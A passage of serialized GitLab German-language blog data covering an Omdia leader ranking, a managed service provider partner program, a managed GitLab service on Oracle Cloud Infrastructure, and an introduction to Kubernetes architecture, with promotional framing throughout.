koordinieren, Übergaben zwischen spezialisierten Agenten orchestrieren und Teams in unterschiedlichen Phasen der Agentenadoption unterstützen kann.\n\n\n## GitLabs Bewertungen im Überblick\n\n\nGitLab erzielte Spitzenwerte in drei Kategorien:\n\n**Solution Breadth: 100 %.** Diese Kategorie bewertet, wie viele Phasen des Software-Lifecycles eine Plattform abdeckt. GitLab erzielt hier den Höchstwert: Die Plattform deckt den gesamten SDLC ab – von Planung und Anforderungen bis zu Deployment und Issue-Management, einschließlich Lifecycle-Phasen, die die meisten KI-Programmierwerkzeuge nicht erreichen. Vorgefertigte Agenten wie [Planner Agent](https://docs.gitlab.com/user/duo_agent_platform/agents/foundational_agents/planner/) und [Security Analyst Agent](https://docs.gitlab.com/user/duo_agent_platform/agents/foundational_agents/security_analyst_agent/) erweitern die KI-Unterstützung auf Sprint-Planung, Vulnerability-Triage und Behebungsempfehlungen – genau die Bereiche des Lifecycles, in denen Auslieferungen ins Stocken geraten.\n\n**Strategy and Innovation: 88 %.** Hier bewertet Omdia, wie Anbieter ihre Plattform langfristig positionieren und weiterentwickeln. GitLab differenziert durch End-to-End-Orchestrierung, Privacy-first-Architektur ohne Training auf privaten Daten und Multi-Modell-Unterstützung durch Partnerschaften mit Anthropic, Google und AWS. Teams können Modelle je nach Workload und Datenanforderungen auswählen. Der Ansatz der Plattform für einheitlichen Kontext – bei dem Agenten übergreifend an Issues, Merge Requests, Pipelines und Security-Findings zusammenarbeiten, ohne den Zustand zu verlieren – steht beispielhaft für die architektonische Innovation, die Omdia in dieser Kategorie bewertet hat.\n\n**Core Features: 82 %.** Diese Kategorie erfasst die Tiefe der Kernfunktionen, auf die Entwicklungsteams im Tagesgeschäft angewiesen sind. Code wird mit Echtzeit-Kontext aus IDE und Codebase generiert, über Unit-, Integrations- und Security-Dimensionen getestet und mit integrierter Priorisierung reviewt. Die DevOps-Automatisierung übernimmt CI/CD, GitOps und [Root-Cause-Analyse](https://docs.gitlab.com/user/gitlab_duo_chat/examples/#troubleshoot-failed-cicd-jobs-with-root-cause-analysis) bei Pipeline-Fehlern. Das [AI Impact Dashboard](https://docs.gitlab.com/user/analytics/duo_and_sdlc_trends/) bietet Teams messbare Transparenz über Cycle Times, Deployment-Frequenz und die tatsächlichen Auswirkungen von KI auf die Produktivität.\n\nFür Extended Features (80 %) und Vendor Execution (88 %) erhielt GitLab ebenfalls erstklassige Bewertungen.\n\n\n## Die veränderte Rolle von Entwicklungsteams und KI-Agenten\n\n\nZu den substanziellen Erkenntnissen des Omdia-Berichts gehört die sich verändernde Rolle der Softwareentwicklung neben diesen Werkzeugen. Entwicklungsteams bestehen zunehmend aus KI-Ingenieuren und ihren KI-Agenten, wobei die Ingenieure die agentische KI überwachen und steuern. Da KI-Codierung den Großteil des Codes generiert, verlagert sich die menschliche Arbeit darauf, sicherzustellen, dass technologische Anforderungen tatsächlich erfüllt werden, Qualität zu überwachen, geeignete Schutzmechanismen zu etablieren, autonome Produktionspipelines zu gestalten und zwischen Geschäftszielen und dem Einsatz agentischer KI im gesamten Software-Lifecycle zu vermitteln.\n\nDieser Wandel hat Auswirkungen darauf, wie Unternehmen ihre KI-Investitionen bewerten. Ein Team, das die Code-Generierung automatisiert hat, Review, Testing und Deployment aber weiterhin manuell abwickelt, hat die Softwareentwicklung noch nicht grundlegend beschleunigt. Der Produktivitätsgewinn durch schnelleres Programmieren verstärkt sich, wenn der übrige Lifecycle mithalten kann – und er schwindet, wenn er es nicht kann, da sich die Engpässe nur nachgelagert verschieben.\n\n\n## Enterprise-Anforderungen als Grundvoraussetzung\n\n\nBemerkenswert an der Struktur der diesjährigen Omdia-Bewertung: Enterprise-Kontrollen und Schutzmechanismen sind keine Bonuskategorie mehr. Compliance-Zertifizierungen, Deployment-Flexibilität und Datenschutzarchitektur gelten als Grundvoraussetzungen für Plattformen auf Leader-Niveau – nicht als Differenzierungsmerkmale. Unternehmen in regulierten Branchen und solche mit Datensouveränitätsanforderungen gewichten diese Faktoren bereits als Einstiegskriterien.\n\nGitLabs Positionierung in diesen Bereichen hebt sich im Markt ab: SOC 2- und ISO 27001-zertifizierte Plattform, [Privacy-first-Design](https://about.gitlab.com/de-de/blog/why-enterprise-independence-matters-more-than-ever-in-devsecops/) ohne Training auf privaten Kundendaten für die agentischen KI-Fähigkeiten, Self-Managed-Deployment-Unterstützung für Cloud und On-Premises (einschließlich Air-Gapped-Umgebungen) sowie Unterstützung für selbstgehostete KI-Modelle. Die Nutzung als Single-Tenant-SaaS-Anwendung über GitLab Dedicated – mit FedRAMP Moderate Authorization über GitLab Dedicated for Government – ergänzt die Deployment-Flexibilität.\n\nDer Omdia-Bericht hat diese Eigenschaften nicht als Funktionsliste bewertet, sondern als Nachweis der Plattformreife für Unternehmen mit den höchsten Compliance-Anforderungen: Finanzdienstleistungen, öffentlicher Sektor, Gesundheitswesen und weitere regulierte Branchen, für die Datenhoheit und Auditierbarkeit nicht verhandelbar sind.\n\n\n## Reifegrad in der Softwareentwicklung einordnen\n\n\nFür Teams, die ihren KI-Entwicklungsansatz aktiv evaluieren, ist die Empfehlung von Omdia eindeutig: GitLab gehört auf jede Shortlist.\n\nDie entscheidendere Frage für Engineering-Verantwortliche ist nicht, welches KI-Werkzeug den besten Code generiert. Ausschlaggebend ist, ob der generierte Code mit dem erforderlichen Qualitäts-, Sicherheits- und Leistungsniveau in Produktion gebracht werden kann. Er muss von den verantwortlichen Teams verstanden, gesteuert und gewartet werden können. Mit GitLab überträgt sich die Geschwindigkeit beim Programmieren auf den gesamten Entwicklungsprozess.\n\nWer den Reifegrad der eigenen Organisation in der Softwareentwicklung einordnen möchte, erhält in den Assessments für [KI-Modernisierung](https://about.gitlab.com/de-de/assessments/ai-modernization-assessment/), [DevOps-Modernisierung](https://about.gitlab.com/de-de/assessments/devops-modernization-assessment/) und [Security-Modernisierung](https://about.gitlab.com/de-de/assessments/security-modernization-assessment/) eine personalisierte Bewertung und konkrete nächste Schritte.\n\n[Den vollständigen Omdia Universe Report herunterladen.](https://learn.gitlab.com/c/analyst-omdia-ai?x=fRC1cQ)\n","2026-04-13",[1037,698,823,721],"research",{"featured":13,"template":796,"slug":1039},"gitlab-named-a-2026-omdia-universe-leader",{"content":1041,"config":1050},{"title":1042,"description":1043,"authors":1044,"heroImage":1046,"date":1047,"body":1048,"category":721,"tags":1049},"Das GitLab Managed Service Provider (MSP) Partner-Programm","Mit GitLab ein rentables, serviceorientiertes DevSecOps-Angebot aufbauen.",[1045],"Karishma Kumar","https://res.cloudinary.com/about-gitlab-com/image/upload/v1772047747/ntihfmnu2fepamqemaas.png","2026-02-26","*Dieser Beitrag richtet sich an Managed Service Provider (MSPs), die ein GitLab-Serviceangebot aufbauen möchten. Für Entwicklungsteams und Engineering-Leads gilt: Dies ist das Programm, das Partner stärkt, welche Teams wie deines beim Skalieren unterstützen.*\n\nViele Unternehmen wissen, dass sie eine moderne DevSecOps-Plattform benötigen. Was ihnen oft fehlt, sind die Kapazitäten, eine solche Plattform bereitzustellen, zu betreiben und kontinuierlich zu optimieren – und gleichzeitig Software im Tempo der Geschäftsanforderungen zu liefern. Für MSPs ist das eine konkrete Chance, und GitLab stellt jetzt ein definiertes Programm zur Verfügung, um sie dabei zu unterstützen.\n\nVorgestellt wird das **GitLab MSP Partner-Programm** – ein neues globales Programm, das qualifizierten MSPs ermöglicht, GitLab als vollständig verwalteten Service für ihre Kunden bereitzustellen.\n\n## Was das für Partner und Kunden bedeutet\n\nGitLab bietet erstmals ein formal definiertes, global verfügbares Programm, das speziell für MSPs entwickelt wurde. Das bedeutet klare Anforderungen, strukturierte Enablement-Maßnahmen, dedizierten Support und finanzielle Vorteile – damit Partner sicher in den Aufbau einer GitLab Managed Services-Praxis investieren können.\n\nDer Zeitpunkt ist günstig. Unternehmen treiben ihre DevSecOps-Transformation voran, navigieren dabei jedoch oft komplexe Migrationen, fragmentierte Toolchains und wachsende Sicherheitsanforderungen – zusätzlich zu ihrer Kernaufgabe, Software zu entwickeln und auszuliefern.\n\nGitLab MSP-Partner übernehmen den operativen Betrieb der Plattform, einschließlich Deployment, Migration, Administration und laufendem Support, damit sich Entwicklungsteams auf ihre eigentliche Arbeit konzentrieren können.\n\n## Was MSP-Partner erhalten\n\n**Finanzielle Vorteile**: MSP-Partner erzielen GitLab Partner-Margen zuzüglich einer zusätzlichen MSP-Prämie auf alle Transaktionen, Neugeschäfte und Verlängerungen. 100 % der Servicegebühren für Deployment, Migration, Training, Enablement und strategische Beratung verbleiben beim Partner. Das ergibt mehrere wiederkehrende Einnahmequellen rund um eine einzige Plattform.\n\n**Enablement und Weiterbildung**: Partner haben Zugang zu vierteljährlichen technischen Bootcamps, die Versions-Updates, neue Funktionen, Best Practices, laufende Roadmap-Updates und Peer-Sharing abdecken. Empfohlene Cloud-Zertifizierungen (AWS Solutions Architect Associate, GCP Associate Cloud Engineer) ergänzen die technische Grundlage.\n\n**Go-to-Market-Unterstützung**: MSPs erhalten ein GitLab Certified MSP Partner-Badge, co-brandingfähige Assets, die Möglichkeit zur Teilnahme an gemeinsamen Kundenfallstudien, einen Eintrag im Partner Locator sowie Zugang zu Marketing Development Funds (MDF) für qualifizierte Demand-Generation-Aktivitäten.\n\n## Was Kunden erwarten können\n\nKunden, die mit einem GitLab MSP-Partner arbeiten, erhalten eine strukturierte, verwaltete DevSecOps-Erfahrung, dokumentierte und reproduzierbare Implementierungsmethoden, regelmäßige Business Reviews sowie Support mit klar definierten Reaktions- und Eskalationspfaden.\n\nDas Ergebnis: Entwicklungsteams können sich auf die Softwareentwicklung konzentrieren, während der MSP-Partner den Betrieb und die Optimierung der Plattform verantwortet.\n\n## Neue Möglichkeiten rund um KI\n\nUnternehmen suchen zunehmend nach Wegen, KI strukturiert in ihre Softwareentwicklungs-Workflows einzuführen. GitLab MSP-Partner sind gut positioniert, um Kunden im Rahmen eines umfassenderen Managed Services-Angebots durch die GitLab Duo Agent Platform zu begleiten.\n\nDurch die Kombination der GitLab DevSecOps-Plattform mit der operativen Expertise von MSPs können Kunden KI-gestützte Workflows in einer kontrollierten Umgebung erproben, Anforderungen an Datenhaltung und Compliance erfüllen und die KI-Nutzung teamübergreifend skalieren.\n\n## Passt dieses Programm zum eigenen Geschäftsmodell?\n\nDas GitLab MSP Partner-Programm ist gut geeignet, wenn:\n\n* bereits Managed Services in den Bereichen Cloud, Infrastruktur oder Application Operations angeboten werden\n* DevSecOps als hochwertiger Portfoliobaustein hinzugefügt werden soll\n* technisches Know-how für moderne Entwicklungsplattformen vorhanden ist oder aufgebaut werden soll\n* langfristige Kundenbeziehungen gegenüber Einzeltransaktionen bevorzugt werden\n\nFür bestehende GitLab Select- und Professional Services-Partner bietet das MSP-Programm einen strukturierten Weg, vorhandene Expertise in ein reproduzierbares Managed-Services-Angebot zu überführen.\n\n## Erste Schritte\n\nDas Programm startet mit der Bezeichnung **Certified MSP Partner**. Es gibt keine Mindest-ARR- oder Kundenanzahl-Anforderungen für den Beitritt. So sieht der Weg aus:\n\n1. **Eignung prüfen** – Überprüfen, ob die geschäftlichen und technischen Anforderungen auf der [Handbook-Seite](https://handbook.gitlab.com/handbook/resellers/channel-program-guide/#the-gitlab-managed-service-provider-msp-partner-program) erfüllt sind.\n2. **Über das GitLab Partner Portal bewerben** – Bewerbung mit geschäftlicher und technischer Dokumentation einreichen.\n3. **90-tägiges Onboarding absolvieren** – Ein strukturierter Onboarding-Prozess umfasst Verträge, technisches Enablement, Vertriebstraining und das erste Kundenprojekt.\n4. **Managed-Services-Angebot aufbauen** – Services paketieren, SLAs festlegen und erste Kunden gewinnen.\n\nVollständige Bewerbungen werden innerhalb von etwa drei Werktagen geprüft.\n\n> Interesse am Aufbau einer GitLab Managed Services-Praxis? Neue Partner können sich [als GitLab Partner bewerben](https://about.gitlab.com/de-de/partners/). Bestehende Partner wenden sich an ihren GitLab-Ansprechpartner, um mehr über das Programm zu erfahren.\n",[698,721,258],{"featured":645,"template":796,"slug":1051},"introducing-the-gitlab-managed-service-provider-msp-partner-program",{"content":1053,"config":1064},{"title":1054,"authors":1055,"date":1059,"body":1060,"category":721,"tags":1061,"description":1062,"heroImage":1063},"DevSecOps-as-a-Service auf Oracle Cloud Infrastructure – mit Data Intensity",[1056,1057,1045,1058],"Biju Thomas","Matt Genelin","Ryan Palmaro","2026-02-11","Viele Unternehmen entscheiden sich für GitLab Self-Managed, weil es Kontrolle, Anpassungsmöglichkeiten und Sicherheit bietet. Gleichzeitig kann die Verwaltung der zugrunde liegenden Infrastruktur eine erhebliche betriebliche Herausforderung darstellen – insbesondere für Teams, die sich auf die Softwareentwicklung konzentrieren möchten, nicht auf den Plattformbetrieb.\n\nAus diesem Grund arbeitet GitLab mit [Oracle Cloud Infrastructure (OCI)](https://www.oracle.com/cloud/) und [Data Intensity](https://www.dataintensity.com/services/security-services/devsecops/), einem Oracle Managed Services Provider, zusammen, um eine neue Managed-Service-Option anzubieten: DevSecOps-as-a-Service. Der Dienst verbindet die Kontrolle von GitLab Self-Managed mit dem Betriebskomfort eines vollständig verwalteten Service.\n\n\n## Warum GitLab Self-Managed?\n\nGitLab Self-Managed bietet die vollständige Kontrolle über die eigene DevSecOps-Plattform. Datenstandort, Instanzkonfiguration und Anpassungen an spezifische Compliance-, Sicherheits- oder Betriebsanforderungen lassen sich frei bestimmen. Dieses Maß an Kontrolle ist für Unternehmen mit strengen regulatorischen Anforderungen, Anforderungen an die Datenresidenz oder spezifischen Integrationsanforderungen relevant.\n\nGleichzeitig bedeutet der Betrieb von GitLab Self-Managed die Verwaltung von Servern, die Durchführung von Upgrades, die Sicherstellung der Hochverfügbarkeit und die Implementierung von Disaster Recovery – alles Aufgaben, die spezialisiertes Know-how und dedizierte Ressourcen erfordern.\n\n\n## Ein verwalteter Weg zu GitLab Self-Managed\n\nDevSecOps-as-a-Service von Data Intensity auf OCI übernimmt diese betrieblichen Aufgaben, während die Kontrollvorteile von GitLab Self-Managed erhalten bleiben. Anstatt die Infrastruktur selbst aufzubauen und zu warten, steht eine eigenständige GitLab-Instanz bereit, die vom Data-Intensity-Team verwaltet wird und auf der Cloud-Infrastruktur von OCI läuft.\n\nDer Service umfasst:\n\n* Eigenständige GitLab-Instanz auf OCI-Infrastruktur\n* 24/7-Monitoring, Alarmierung und Support\n* Vierteljährliches Patching in festgelegten Wartungsfenstern\n* Automatisierte Backups und Disaster-Recovery-Schutz\n\n\n## Skalierung mit dem Unternehmen\n\nDer Managed Service von Data Intensity bietet abgestufte Architekturen, die sich an Benutzerkapazität und Recovery-Anforderungen anpassen lassen:\n\n| **Feature**           | **Standard**     | **Premier**      | **Premier +**    |\n|-----------------------|------------------|------------------|------------------|\n| **Benutzerkapazität** | Bis zu 1.000     | Bis zu 2.000     | Bis zu 3.000     |\n| **Performance**       | 20 Requests/Sek. | 40 Requests/Sek. | 60 Requests/Sek. |\n| **Verfügbarkeit**     | 99,9 %           | 99,95 %          | 99,99 %          |\n| **Recovery (RTO)**    | 48 Stunden       | 8 Stunden        | 4 Stunden        |\n\nWeitere Informationen sind auf der Website von Data Intensity verfügbar: [DevSecOps-as-a-Service](https://www.dataintensity.com/services/security-services/devsecops/).\n\n\n## Warum OCI für GitLab?\n\nOracle Cloud Infrastructure (OCI) bietet eine stabile Grundlage für den Betrieb von GitLab Self-Managed – mit einer sicheren, leistungsfähigen Umgebung zu geringeren Kosten als bei anderen Hyperscalern. Unternehmen, die Workloads zu OCI migrieren, berichten von Infrastrukturkostensenkungen von 40–50 %.\n\nOCI unterstützt verschiedene Deployment-Modelle: von öffentlichen Cloud-Regionen über spezialisierte Umgebungen wie Government und EU Sovereign Clouds bis hin zu dedizierter Infrastruktur hinter der eigenen Firewall. Diese Optionen bieten einheitliches Pricing, Tooling und Betriebserfahrung, sodass sich GitLab-Deployments über regulierte, hybride und globale Umgebungen hinweg standardisieren lassen.\n\nDie Kombination aus GitLabs DevSecOps-Plattform, OCI-Infrastruktur und dem Managed-Services-Know-how von Data Intensity ergibt eine Lösung, die es Teams ermöglicht, sich auf die Softwareentwicklung zu konzentrieren.\n\n\n## Passt dieser Service?\n\nDevSecOps-as-a-Service von Data Intensity eignet sich für Unternehmen, die:\n\n* GitLab Self-Managed nutzen, aber den Betriebsaufwand minimieren möchten\n* Spezifische Compliance-, Sicherheits- oder Datenresidenz-Anforderungen erfüllen müssen\n* Garantierte SLAs und professionelle Disaster-Recovery-Fähigkeiten benötigen\n* Planbare Kosten und professionelles Management gegenüber dem Aufbau interner Infrastrukturexpertise bevorzugen\n* OCI bereits nutzen oder den Einsatz planen\n* Flexibilität und Kontrolle priorisieren\n* Eine dedizierte, extern verwaltete Instanz mit Self-Managed-Kontrolle wünschen\n\n\n## Erste Schritte\n\nUnternehmen, die GitLab Self-Managed auf OCI über DevSecOps-as-a-Service von Data Intensity betreiben möchten, können über die [Data-Intensity-Website](https://www.dataintensity.com/services/security-services/devsecops/) Kontakt aufnehmen, um spezifische Anforderungen zu besprechen und die Deployment-Planung zu starten.\n\nData Intensity bietet optional auch die Migration von Code-Repositorys und Anpassungen an, um einen reibungslosen Übergang zu OCI sicherzustellen.\n\nGitLab baut das Partnerökosystem weiter aus. Lösungen wie diese unterstreichen das Ziel, Unternehmen die Wahl zu geben, wie sie GitLab einsetzen und verwalten – ob als SaaS, Self-Managed oder Managed Service über Partner.\n",[258,823],"Self-Managed-Kontrolle ohne eigenen Betrieb. Inklusive 24/7-Monitoring, Patching und Disaster Recovery.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098794/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%289%29_DoeBNJVrhv9FpF3WCsHNc_1750098793762.png",{"featured":13,"template":796,"slug":1065},"devsecops-as-a-service-on-oracle-cloud-infrastructure-by-data-intensity",{"category":732,"slug":734,"posts":1067},[1068,1082,1094],{"content":1069,"config":1080},{"title":1070,"description":1071,"authors":1072,"heroImage":1074,"date":1075,"body":1076,"category":734,"tags":1077,"updatedDate":1075},"Kubernetes: Container-Orchestrierung verstehen und einsetzen","Kubernetes (K8s) für containerisierte Anwendungen: Dieser Artikel erklärt Architektur, Vorteile, Grenzen und den Einsatz mit GitLab.",[1073],"GitLab Team","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749660215/Blog/Hero%20Images/kubernetes-container-orchestration-solution.jpg","2026-03-02","Kubernetes automatisiert die Bereitstellung und Verwaltung\ncontainerisierter Anwendungen in großem Maßstab. Mit der Zeit ist\nKubernetes zu einem zentralen Werkzeug für die Anwendungsentwicklung\ngeworden – etwa in den Bereichen\n[Microservices](https://about.gitlab.com/de-de/topics/microservices/),\nWebanwendungen und Datenbanken. Leistungsfähigkeit und Skalierbarkeit\nmachen K8s heute zum anerkannten Standard im Container-Management.\n\nDieser Artikel bietet einen umfassenden Einstieg in Kubernetes.\n\n## Was ist Kubernetes?\n\nKubernetes ist ein Open-Source-System zur effizienten Orchestrierung von\nContainern einer Softwareanwendung. Containerisierung ist ein weit\nverbreiteter Ansatz in der Anwendungsentwicklung – besonders im Bereich\nder digitalen Transformation und der Cloud.\n\nZur Erinnerung: **Containerisierung ist eine Methode der\nAnwendungsentwicklung, bei der die Komponenten einer Anwendung in\nstandardisierte, geräte- und betriebssystemunabhängige Einheiten –\nsogenannte Container – zusammengefasst werden.** Durch die Isolierung von\nAnwendungen von ihrer Umgebung erleichtert diese Technologie die\nBereitstellung und Portabilität und reduziert Kompatibilitätsprobleme.\n\nHier kommt Kubernetes ins Spiel. Container ermöglichen zwar die Aufteilung\nvon Anwendungen in kleinere, eigenständige Module, die leichter\nbereitzustellen sind. Damit Container jedoch innerhalb einer Anwendung\nzusammenarbeiten können, ist ein übergeordnetes Verwaltungssystem\nerforderlich. Genau das leistet Kubernetes: Die Plattform steuert, wo und\nwie Container ausgeführt werden, und ermöglicht so die Orchestrierung und\nPlanung containerisierter Anwendungen in großem Maßstab.\n\n> Weitere [GitLab-Artikel zu Kubernetes](https://about.gitlab.com/de-de/blog/tags/kubernetes/).\n\n## Wie funktioniert eine Kubernetes-Architektur?\n\nUm die Kubernetes-Architektur zu verstehen, sind einige grundlegende\nKonzepte wichtig – allen voran das des Clusters, der die umfassendste\nEinheit innerhalb der Architektur darstellt. Ein Kubernetes-Cluster ist\ndie Gesamtheit der virtuellen oder physischen Maschinen, auf denen eine\ncontainerisierte Anwendung betrieben wird.\n\n![Komponenten von\nKubernetes](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673941/Blog/Content%20Images/components-of-kubernetes.png)\n\nQuelle:\n[Kubernetes](https://kubernetes.io/docs/concepts/overview/components/).\n\nEin Cluster besteht aus verschiedenen Elementen:\n- Node: Eine Arbeitseinheit im Kubernetes-Cluster – eine virtuelle oder\nphysische Maschine, die Aufgaben im Auftrag der Anwendung übernimmt.\n- Pod: Der kleinste bereitstellbare Baustein in Kubernetes. Ein Pod ist\neine Gruppe von Containern, die gemeinsam auf demselben Node ausgeführt\nwerden. Container innerhalb eines Pods teilen dasselbe Netzwerk und\nkommunizieren über localhost miteinander.\n- Service: Ein Kubernetes-Service macht einen Pod für das Netzwerk oder\nandere Pods zugänglich und bietet einen stabilen, klar definierten\nZugangspunkt zu den in Pods gehosteten Anwendungen.\n- Volume: Eine Ordnerabstraktion, die Probleme beim Teilen und Abrufen\nvon Dateien innerhalb eines Containers löst.\n- Namespace: Ein Namespace ermöglicht die Gruppierung und Isolierung von\nRessourcen zu einem virtuellen Cluster.\n\nDie Kubernetes-Architektur basiert auf zwei Knotentypen: dem Master Node\nund den Worker Nodes. Der Master Node ist für die übergeordnete Verwaltung\ndes Kubernetes-Clusters und die Kommunikation mit den Worker Nodes\nzuständig. Zu seinen zentralen Komponenten zählt die API als\nKommunikationszentrum zwischen Nutzenden und Cluster. Das\n[etcd](https://kubernetes.io/docs/concepts/overview/components/#etcd)\nist die Key-Value-Datenbank, in der Konfigurationen, Systemzustand und\nObjekt-Metadaten gespeichert werden. Der Controller Manager koordiniert\nHintergrundoperationen wie die Pod-Replikation, der Scheduler platziert\nPods auf Nodes entsprechend der verfügbaren Ressourcen.\n\nWorker Nodes hingegen sind die Maschinen, auf denen die in den Pods\nenthaltenen Anwendungen ausgeführt und verwaltet werden. Das\n[kubelet](https://kubernetes.io/docs/concepts/overview/components/#kubelet)\nist der Agent, der auf jedem Node läuft und mit dem Master kommuniziert,\num Befehle zu empfangen und den Status der Pods zu übermitteln. Der\nNetzwerk-Proxy\n[kube-proxy](https://kubernetes.io/docs/concepts/overview/components/)\npflegt die Netzwerkregeln auf den Nodes und ermöglicht so den Zugriff auf\nServices von außerhalb des Kubernetes-Clusters. Die Container-Runtime\nschließlich ist die Software, die für die Ausführung und Verwaltung der\nContainer innerhalb der Pods verantwortlich ist.\n\n### Die Rolle von Docker\n\nBei allen Komponenten eines K8s-Clusters ist die Wahl der Runtime innerhalb\nder Worker Nodes von Bedeutung. Verschiedene Softwarelösungen stehen dafür\nzur Verfügung, etwa CRI-O – Docker ist jedoch das am häufigsten eingesetzte\nWerkzeug.\n\n### Was ist der Unterschied zwischen Docker und Kubernetes?\n\nDocker ist eine Open-Source-Lösung, die speziell auf Container-Ebene\neingesetzt wird. Sie ermöglicht die Paketierung von Containern in einem\nstandardisierten und schlanken Format, was ihre Portabilität in\nverschiedenen Umgebungen erhöht. Docker ist damit ein ergänzendes Werkzeug\nzu K8s: Es vereinfacht die Verwaltung der Container selbst, während\nKubernetes deren Integration und Kommunikation innerhalb der Anwendung\nerleichtert.\n\n## Welche Vorteile bietet Kubernetes?\n\nSeit dem Start durch Google im Jahr 2014 und der ersten stabilen Version\nim Juli 2015 hat sich Kubernetes als Referenz im Bereich der\nContainer-Orchestrierung etabliert – insbesondere für\nMicroservice-orientierte Architekturen. Diese Verbreitung ist vor allem\nauf die Leistungsfähigkeit von K8s in der Container-Orchestrierung\nzurückzuführen.\n\nDie Vorteile von Kubernetes im Überblick:\n- Automatisierung: Kubernetes erleichtert die Automatisierung von Aufgaben\nrund um Bereitstellung, Skalierung und Aktualisierung containerisierter\nAnwendungen.\n- Flexibilität: Die Software passt sich an unterschiedliche\nContainer-Technologien sowie verschiedene Hardware-Architekturen und\nBetriebssysteme an.\n- Skalierbarkeit: K8s ermöglicht die Bereitstellung und Verwaltung\ntausender Container – unabhängig von deren Status: laufend, pausiert oder\ngestoppt.\n- Migration: Anwendungen lassen sich zu Kubernetes migrieren, ohne den\nQuellcode ändern zu müssen.\n- Multi-Cluster-Unterstützung: Kubernetes verwaltet zentral mehrere\nContainer-Cluster, die über verschiedene Infrastrukturen verteilt sind.\n- Update-Management: Die Software unterstützt Rolling-Update-Deployments,\num Anwendungen ohne Serviceunterbrechung zu aktualisieren.\n\n## Ein robustes und skalierbares Ökosystem\n\nKubernetes zeichnet sich durch die Fähigkeit aus, Container effizient und\nzuverlässig zu verwalten und dabei unabhängig von Cloud-Infrastrukturanbietern\nzu bleiben. Die modulare Architektur passt sich den spezifischen\nAnforderungen jedes Unternehmens an und unterstützt ein breites Spektrum\nan Anwendungen und Diensten – von Webservices über Datenverarbeitung bis\nhin zu mobilen Anwendungen.\n\nKubernetes profitiert dabei von einem umfangreichen und aktiven\nOpen-Source-Ökosystem. Verwaltet von der Cloud Native Computing Foundation\n([CNCF](https://www.cncf.io/)), wird K8s von tausenden Entwicklerinnen\nund Entwicklern weltweit unterstützt, die kontinuierlich zur\nWeiterentwicklung des Projekts und seiner Funktionen beitragen.\n\n## Was sind die Grenzen von Kubernetes?\n\nDie Stärken von Kubernetes machen es für viele Entwicklungsteams im\nCloud-nativen Bereich zur soliden Grundlage. Dennoch lohnt es sich,\neinige Einschränkungen zu benennen. Kubernetes erfordert fundierte\ntechnische Kenntnisse sowie die Einarbeitung in neue Entwicklungskonzepte\nund -methoden. Die Konfiguration kann zu Beginn eines Projekts komplex\nsein – ist dabei aber entscheidend, insbesondere für die Absicherung der\nPlattform. Ein erfahrenes Entwicklungsteam mit K8s-Kenntnissen ist daher\nein wesentlicher Vorteil.\n\nEine weitere Herausforderung ist die Implementierung und Wartung einer\nK8s-Architektur, die Zeit und Ressourcen erfordert – vor allem für die\nAktualisierung der verschiedenen Komponenten und Softwareteile. Dabei\nstellt sich auch die Frage nach möglichem Oversizing: Bei kleineren\nAnwendungen oder Projekten ohne besondere Skalierungsanforderungen kann\neine einfachere Architektur ausreichend und wirtschaftlicher sein.\n\n## Kubernetes im Unternehmenseinsatz\n\nZehntausende Unternehmen haben eine Kubernetes-Architektur für ihre\ndigitale Transformation übernommen. K8s wird von Organisationen aller\nGrößen genutzt – von Startups bis zu multinationalen Konzernen.\n\nEin Beispiel für eine erfolgreiche Integration ist Haven Technologies.\nDas Unternehmen hat seine SaaS-Dienste zu K8s migriert. Dabei setzt es\nauf eine Kubernetes-Strategie mit der GitLab-DevSecOps-Plattform –\nmit messbaren Verbesserungen bei Effizienz, Sicherheit und\nEntwicklungsgeschwindigkeit. Weitere Details in der\n[Kundenreferenz](https://about.gitlab.com/customers/haven-technologies/).\n\n## Kubernetes, Git und GitLab\n\nKubernetes, Git und GitLab sind zentrale Bausteine der DevOps-Landschaft.\nKubernetes bietet hohe Flexibilität bei der Bereitstellung und Verwaltung\nder verschiedenen Anwendungskomponenten. GitLab – aufgebaut auf Git und\ndessen nativer Versionskontrolle – ermöglicht eine präzise Nachverfolgung\nvon Quellcode und Änderungen und stellt eine umfassende Werkzeugsammlung\nfür den gesamten Software-Entwicklungslebenszyklus bereit.\n\nDiese Kombination schafft gemeinsam mit einem\n[GitOps-Ansatz](https://about.gitlab.com/de-de/topics/gitops/), der die\nAutomatisierung moderner Cloud-Infrastrukturen zum Ziel hat, eine agile\nUmgebung für Anwendungsentwicklung und -bereitstellung. Alle\n[GitLab-Lösungen für den Einsatz mit Kubernetes](https://about.gitlab.com/de-de/solutions/kubernetes/)\nim Überblick.\n\n## Kubernetes FAQ\n\n### Welche Alternativen zu K8s gibt es?\n\nEs gibt verschiedene Alternativen zu Kubernetes, darunter Docker Swarm\nund Marathon. Kubernetes gilt jedoch als die ausgereifteste und am\nweitesten verbreitete Lösung auf dem Markt. Die große Nutzerbasis,\numfangreiche Dokumentation und eine aktive Community machen K8s zur\nsoliden Wahl für alle, die ein Container-Orchestrierungssystem einsetzen\nmöchten.\n\n### Was ist ein Kubernetes-Cluster?\n\nEin Kubernetes-Cluster besteht aus einem Master Node und mehreren Worker\nNodes. Der Master Node koordiniert die Aufgaben im Cluster, während die\nWorker Nodes diese Orchestrierungsaufgaben ausführen und die Container\nhosten. K8s-Cluster sind hoch skalierbar – Nodes lassen sich hinzufügen\noder entfernen, um die Clusterressourcen an die Anforderungen der Anwendung\nanzupassen.\n\n### Wie startet man mit Kubernetes?\n\nZunächst ist die Installation der Kubernetes-Software in einer kompatiblen\nUmgebung (Linux, macOS oder Windows) erforderlich. Kubernetes lässt sich\nsowohl in einer klassischen Hosting-Umgebung als auch in der Cloud\ninstallieren – etwa auf Google Kubernetes Engine oder Amazon EKS. Nach\ndem Download und der Installation von der offiziellen Website folgt die\nErstkonfiguration zur Verbindung von Master und Worker Nodes. Danach ist\ndie erste Anwendung mit Kubernetes einsatzbereit.\n\n### Warum Kubernetes wählen?\n\nKubernetes bietet hohe Flexibilität und vollständige Portabilität zwischen\nverschiedenen Cloud-Plattformen oder On-Premises-Infrastrukturen. Durch\ndie Automatisierung von Orchestrierungsaufgaben lassen sich Ressourcen\noptimieren und Betriebskosten senken. Das Kubernetes-Ökosystem ist\numfangreich und wird von einer großen Open-Source-Community\nkontinuierlich weiterentwickelt.\n\n## Mehr erfahren\n\n- [Logs über das GitLab Dashboard für Kubernetes 